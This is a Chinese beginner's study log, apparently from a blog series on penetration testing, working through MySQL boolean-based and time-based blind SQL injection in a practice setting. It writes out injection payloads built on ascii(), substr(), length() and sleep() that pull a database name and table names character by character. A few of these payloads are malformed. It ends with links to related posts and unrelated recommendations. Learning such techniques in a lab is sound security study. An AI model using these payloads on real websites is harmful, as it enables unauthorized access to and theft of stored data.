5/27

基于布尔的盲注

  1. 我连题目都看不懂555,先去补充一点知识。https://blog.csdn.net/weixin_40709439/article/details/81355856
  2. 返回的true或者false
    •  构造payload让信息通过错误提示回显出来,一种类型(其它的暂时不怎么了解)是先报字段数,再利用后台数据库报错机制回显(跟一般的报错区别是,一般的报错注入是爆出字段数后,在此基础通过正确的查询语句,使结果回显到页面;
    •  后者是在爆出字段数的基础上使用能触发SQL报错机制的注入语句
  3. 接下来看看是否报

在这里我多加了一个‘  ,说明前面是一个完整的一对单引号;

4. 开始测试

  • 第一步我们测试长度

构造语句:

...... and lenth((select database()))>5 #查询当前数据库字段的长度

.......错误,说明太长了。

大于3成立,小于4也成立,大于4不成立,所以length取3,但是实际的要加一,长度就是4;大于他就取他+1

5.利用substr()ascii()函数进行尝试,猜测数据库中的第一个表的第一个字符;

ascii(x)=101,判断x的ascii码是否等于101,即email中的字母e

substr(a,b,c)从 b 位置开始, 截取字符串 a 的 c 长度

ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))=101

这里,大于100成立,测试得出取115

SELECT * FROM admin WHERE id = 1 and ascii(substr((select database()),1,1))>115

6.我们继续测试其他字段,一共有4个;虽然组长哪里有答案,但是我还是自己测试了(最后一个除外),,emmmm练手??

  • SELECT * FROM admin WHERE id = 1 and ascii(substr((select database()),1,1))>115    # 116 t
  • SELECT * FROM admin WHERE id = 1 and ascii(substr((select database()),2,1))>100   # e
  • SELECT * FROM admin WHERE id = 1 and ascii(substr((select database()),3,1))>114   # s
  • SELECT * FROM admin WHERE id = 1 and ascii(substr((select database()),4,1))>115   # t

6.所以该数据库的名字为test,接下来我们判断数据库中有多少表

length((select table_name from information_schema.tables where table_schema='test' limit 0,1))>5 
#

组长这里写的长度为4,但是我觉得应该是5;

7.构造爆表语句:

表一:

  • ascii(substr((select table_name from information_schema.tables where table_schema='test' limit 0,1),1,1))>96
  • ascii(substr((select table_name from information_schema.tables where table_schema='test' limit 0,1),2,1))>???
  • ascii(substr((select table_name from information_schema.tables where table_schema='test' limit 0,1),3,1))>96
  • ascii(substr((select table_name from information_schema.tables where table_schema='test' limit 0,1),4,1))>96
  • ascii(substr((select table_name from information_schema.tables where table_schema='test' limit 0,1),5,1))>96

表二:

  • ascii(substr((select table_name from information_schema.tables where table_schema='test' limit 1,1),1,1))>96

username password

5/27  mysql注入 基于时间的盲注

1.基于时间盲注,类似于基于布尔的盲注,通过注入特定语句,根据判断结果的对错将会出现一定时间的网页请求响应的延时。

https://www.cnblogs.com/-zhong/p/10931563.html

2.and1=1  and1=2 都是一样的界面

https://blog.csdn.net/DarkHQ/article/details/79274376

3.检测语句:利用sleep()函数进行延时注入

and if(ascii(substr((select database()),1,1))>10000,1,sleep(5))  #返回是错误就延时5秒,if(a,b,c),如果条件b

4.开始猜长度,构造语句:

if(length((select database()))>3,1,sleep(5))

所以字段有4位,

5.接下来就开始爆表名。

构造语句:

  • if(ascii(substr((select database()),1,1))=??,1,sleep(5),1)
  • if(ascii(substr((select database()),2,1))=??,1,sleep(5),1)
  • if(ascii(substr((select database()),3,1))=??,1,sleep(5),1)
  • if(ascii(substr((select database()),4,1))=??,1,sleep(5),1)

这个就很不一样了,,睡代表真===

所以得到第一个字母:116 t

最后得出:test

6.开始构造第一个字母。

?id=1 and if(ascii(substr((select table_name from information_schema.tables where table_schema='test' limit 0,1),1,1))>100,1,sleep(5))

后面是,爆完字段爆表名,报完表名爆表里面的单个字名,

===写不来了。。。看组长的===https://www.cnblogs.com/-zhong/p/10931563.html

大哥带我走渗透ii--时间盲注,布尔盲注的更多相关文章

  1. 划水日记之大哥带我走渗透I

    5/24/19 周五 access注入 先测试是否有漏洞 or nor and 1=1 and 1=2 2. Order by 猜字表端,发现一共有22个 3..然后使用 union select 1 ...

  2. 大哥带我走渗透8--CSRF的应用

    1.大哥给了一个CSRF实战视频,真的很简单,但是我今天晚上有点不在状态,很多简单的问题也没有想.所以做了一个多小时.这件事给我的启发就是,无论发生什么事,都不要影响自己的学习.先写点废话,真的真的, ...

  3. 大哥带我走渗透4(中)----oracle报错注入

    5/30 报错注入 0x01 准备阶段 1. 基础知识今天了解了,但是,只能看懂和最基本的理解,不能自己上路.所以,还是要不停学习基础.并且及时总结.这有一篇很详细的文章:https://www.cn ...

  4. 大哥带的Orchel数据库时间盲注

    0X01Oracle基于延时的盲注总结 0x00 前言 oracle注入中可以通过页面响应的状态,这里指的是响应时间,通过这种方式判断SQL是否被执行的方式,便是时间盲注: oracle的时间盲注通常 ...

  5. 老鼠走迷宫II

    转自:http://blog.csdn.net/holymaple/article/details/8636234 由于迷宫的设计,老鼠走迷宫的入口至出口路径可能不止一条,如何求出所有的路径呢? 解法 ...

  6. WEB安全--高级sql注入,爆错注入,布尔盲注,时间盲注

    1.爆错注入 什么情况想能使用报错注入------------页面返回连接错误信息 常用函数 updatexml()if...floorextractvalue updatexml(,concat() ...

  7. 渗透测试初学者的靶场实战 1--墨者学院SQL注入—布尔盲注

    前言 大家好,我是一个渗透测试的爱好者和初学者,从事网络安全相关工作,由于爱好网上和朋友处找了好多关于渗透的视频.工具等资料,然后自己找了一个靶场,想把自己练习的体会和过程分享出来,希望能对其他渗透爱 ...

  8. sql布尔盲注和时间盲注的二分脚本

    布尔盲注: import requests url = "http://challenge-f0b629835417963e.sandbox.ctfhub.com:10080/" ...

  9. sqli-labs less8-10(布尔盲注时间盲注)

    less-8 布尔盲注 首先利用?id=1' and 1=1 --+和?id=1' and 1=2 --+确定id的类型为单引号''包裹.然后进行盲注. 盲注思路: 破解当前数据库名: and len ...

随机推荐

  1. numpy知识点总结

    一.数组方法 创建数组:arange()创建一维数组:array()创建一维或多维数组,其参数是类似于数组的对象,如列表等 反过来转换则可以使用numpy.ndarray.tolist()函数,如a. ...

  2. Vue:替换/合并现有的特性

    假设这是 bs-date-input 的模板: <input type="date" class="form-control"> 为了给该日期选择器 ...

  3. NIO摘录

    NIO,一种基于通道和缓冲区的I/O方式,可以使用native函数库直接分配堆外内存,然后通过一个存储在java 堆的DirectBteBuffer对象作为这块内存的引用进行操作,避免了再java堆和 ...

  4. python 中的eval()函数,称为评估函数

    目的:使用BDD的时候,feture中传过来的预期结果是列表字符串:assert_list  =  "[1,2,3]",我想要的是[1,2,3] 处理方法:使用eval()评估函数 ...

  5. Flutter-RaisedButton

    RaisedButton({ Key key, //点击按钮的回调出发事件 @required VoidCallback onPressed, //水波纹高亮变化回调 ValueChanged< ...

  6. 前端每日实战:50# 视频演示如何用纯 CSS 创作一个永动的牛顿摆

    效果预览 按下右侧的"点击预览"按钮可以在当前页面预览,点击链接可以全屏预览. https://codepen.io/comehope/pen/qKmGaJ 可交互视频教程 此视频 ...

  7. 您的加密USB驱动器是否安全?黑客又是如何攻破的?

    您如何确定您使用的“安全”USB驱动器是否真的安全,并且您存储的数据无法提取?这正是Google公司和中国网络安全研究人员在最近的2018年黑帽美国大会上以艰难的方式攻击加密的USB密钥”的问题. 研 ...

  8. python range和arange

    range:自带函数,返回一个序列 range(起始点,终止点(不包含),步长(整数))   起始点和步长都可以省略,起始点默认为0,步长默认为1 range(1,11,2) [1,3,5,7,9] ...

  9. 如何使用Excel绘制甘特图

    摘自:http://www.mifengtd.cn/articles/how-to-create-a-gantt-chart-in-excel.html 再造<优秀的时间管理和项目管理工具> ...

  10. JAVA学习笔记--方法中的参数调用是引用调用or值调用

    文献来源:<JAVA核心技术卷Ⅰ>,第4章第5节 (没有相关书籍的可看传送门) ps:测试demo因为偷懒,用的是String对象 结论:Java使用的是对象的值引用.即将任何对象所在内存 ...